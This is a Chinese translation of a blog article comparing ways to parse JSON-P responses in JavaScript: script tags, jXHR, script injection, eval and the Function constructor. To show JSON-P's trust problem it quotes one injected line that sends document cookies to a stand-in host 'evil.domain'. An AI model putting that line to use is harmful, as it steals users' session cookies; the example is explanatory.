[译]如何高效的解析json P

原文地址

这篇文章主要是讲解javascript的技巧,一步步来分析如何解析jsonp返回的字符串内容更高效.

注意: 当然现在可以用CROS来解决跨域问题,不过仍然有大量的jsonp服务端api接口,一般是用来处理ajax请求

通过jsonp调用返回得到像这样的脚本foo({"id":42})字符串,如何高效的提取里面的内容呢?

Classic JSON-P Handling

通常的做法是直接加载jsonp数据在附加的<script>元素中,假如下面的url可以直接获取数据:

var s = document.createElement( "script" );
s.src = "http://some.api.url/?callback=foo&data=whatever";
document.head.appendChild( s );

假设foo({"id":42})是直接从上面的url返回的,并且在全局环境中存在foo这样的函数,然后最终执行方法得到里面的数据对象.

像这样的处理方式已经有很多库或者框架存在了,我之前也写了jXHR库用来自动处理这种函数调用,而且提供了类似于XHR的语法:

var x = new jXHR();

x.onreadystatechange = function(data) {
    if (x.readyState == 4) {
        console.log( data.id ); // 42
    }
};

x.open( "GET", "http://some.api.url/?callback=?&data=whatever" );

x.send();

JSON-P roblems

上面的这种处理方式会产生一些问题.

第一个最常见的问题就是,全局环境中必须存在一个foo(..)这样的函数定义,一些jsonp接口允许返回像这样的bar.foo(..)回调,这种结构有时是不被允许的,即使bar是全局变量或者命名空间.当jswebes6转变时,比如其中的module,当全局变量越重的时候,代码就会越来越不可维护.

不过,jXHR可以自动生成一个唯一的函数名(像jXHR.cb123(..))来适应接口返回的名字,所以我们可以不用关心这些细节,因为自动生成的函数就在jXHR命名空间下,这点还是可以接受的.

但是这总归不是一个完美的解决方案,假如不需要库来实现解析的功能肯定是非常不错的.

另一个问题就是随着jsonp接口的增多,页面中需要增加的script元素就会增多,这会弄乱整个dom

虽然大部分的库(比如jXHR)会自动的清除掉用完的script元素,但是频繁的操作dom会降低整个页面的性能.

终于,出现了这篇文章concerns over the safety/trustability of JSON-P,因为jsonp只是随机的js,任何js都可以注入进来.

例如,假如返回下面这样的数据:

foo({"id":42});(new Image()).src="http://evil.domain/?hijacking="+document.cookies;

就像你看到的,上面的代码会执行一些你想像不到的代码,获取到你的cookies

json-p.org试图定义一个jsonp的子集,用来提供一些工具来对jsonp的内容进行验证,最后得到一个安全的数据内容.

但是你不能直接验证从script元素url返回的内容

所以,让我们看看其它的方案

Script Injection

首先,你可以获取到jsonp返回的字符串内容(比如从同源的ajax请求返回),在解析它之前你可以进行某些处理

var jsonp = "..";

// first, do some parsing, regex filtering, or other sorts of
// whitelist checks against the `jsonp` value to see if it's
// "safe"

// now, run it:
var s = document.createElement( "script" );
s.text = jsonp;
document.head.appendChild( s );

这里,我们使用script injection来运行jsonp代码(这样保证在任何时候可以对它进行处理),通过设置text属性来存放内容(与放在src属性上完全不同)

当然这种方式仍然少不了全局函数或者命名空间来处理jsonp字符串,而且因为script标签元素的引用也会带上页面性能的损失.

另外就是以script为基础来处理jsonp都会有一个问题,就是不能处理异常,因为你没有任何时基来添加try...catch..代码(除非在jsonp字符串内部增加)

其它一个缺陷就是script深度依赖browser,假如代码想在node环境下使用的话,则不能使用它来处理

所以,还有别的选择吗?

Direct Evaluation

也许你认为,为什么我们不能直接使用eval(jsonp)来解析内容呢,当然你可以这样做,不过随之而来的是一大堆的缺陷

通常反对使用eval,是因为它会用来执行不可信任的代码,不过这些细节我们可以提前通过其它手段让这些代码可信任,如果可以的话.

其实真实的原因是因为eval本身执行的问题,它会禁用变量词法作用域的性能优化,从而导致js代码的性能下降,所以你应该never, ever use eval(..).

不过这里我们还有另外一种方案而且没有缺陷,那就是使用Function(..)构造函数,它不但可以直接计算代码在没有script的情况下(所以可以在nodejs下运行),而且不需要定义全局函数或者命名空间

下面的代码说明了它的实现:

var jsonp = "..";

// parse/filter `jsonp`'s value if necessary

// wrap the JSON-P in a dynamically-defined function
var f = new Function( "foo", jsonp );

// `f` is now basically:
// function f(foo) {
//    foo({"id":42});
// }

// now, provide a non-global `foo()` to extract the JSON
f( function(json){
    console.log( json.id ); // 42
} )

所以,new Function( "foo", "foo({\"id\":42})" )创建了一个function(foo){ foo({"id":42}) }名为f的函数.

你能明白这里发生了什么吗?是的,jsonp调用foo(..),但是foo(..)不需要任何存在的全局同名函数或者命名空间,只是在调用f( function(json){ .. } )时,注入了一个同名的本地参数,是不是非常不错.

所以:

  1. 我们手动的解析jsonp内容,让我们有机会来对内容进行过滤处理
  2. 我们不在需要任何全局函数或者命名空间来处理jsonp内容
  3. Function(..)没有eval(..)那样的性能损失(因为它没有作用域的副作用)
  4. 这种方案可以同时在browser或者nodejs环境下使用,因为它没有依赖script元素
  5. 我们可以更好的进行异常控制,因为你可以在f(..)时添加try..catch,但是使用script的话是做不到的

这些是完胜script方案的

总结

是不是Function(..)就是最完美的方案呢?当然不是,但是它要比传统的jsonp处理方式要好多了.

所以,假如你仍然在使用jsonp接口调用的,有很多选择的话,你可以重新想想还有什么方案适合它,大部分情况下,老式的script方法是不推荐使用的.


上一篇:[译]利用flux来构建reactjs项目


下一篇:云栖大会·上海峰会召开在即,聚焦全行业数字化转型